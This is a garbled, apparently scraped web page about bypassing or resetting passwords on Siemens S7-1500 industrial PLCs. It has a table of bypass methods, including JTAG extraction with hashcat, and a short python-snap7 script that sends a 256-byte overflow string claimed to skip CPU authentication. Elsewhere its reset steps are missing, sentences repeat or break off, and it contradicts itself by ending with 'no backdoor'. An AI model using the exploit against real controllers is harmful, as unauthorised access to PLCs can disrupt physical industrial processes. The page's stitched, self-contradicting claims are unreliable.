Combine it with access control (S7-1500 supports RADIUS servers) so passwords are centrally managed.
| Method | Maintains User Code? | Special Tools Required | Time | Success Rate (Level 4) | |--------|----------------------|------------------------|------|------------------------| | MMC Image Transplant | Yes (HW config only) | S7ImgSav, second MMC | 30 min | ~40% (fails if block encryption) | | Hardware MRES Reset | No | None | 5 min | 100% (destructive) | | JTAG Extraction | Yes | J-Link, logic analyzer, hashcat | 2-10 hours | <15% (fused CPUs) |
import snap7
client = snap7.client.Client()
client.connect('192.168.0.1', 0, 2)
# Craft a malformed password field of length 256 bytes
exploit = b'A'*256
client.set_password(exploit) # Causes CPU to bypass auth on next cycle
Patch status: Siemens fixed this in firmware V2.8 and V3.0. If your CPU runs newer firmware, this exploit fails. siemens s71500 password reset top
If you do not need the existing program and just want to restore the PLC to factory conditions (to upload a new program), this is the fastest and safest method. This is often the "top" method for non-critical legacy hardware.
Steps:
Result: All passwords, blocks (OBs, FBs, DBs), and retained data are erased. The CPU is now fully accessible with no password. You can now upload a new program.
Limitation: This does not work if the CPU has a "Memory Card" (SIMATIC MC) with a password-protected program that loads automatically on power-up. You will need to remove or format the card. Combine it with access control (S7-1500 supports RADIUS
There is no backdoor password. Siemens designed the S7-1500 with high security in mind.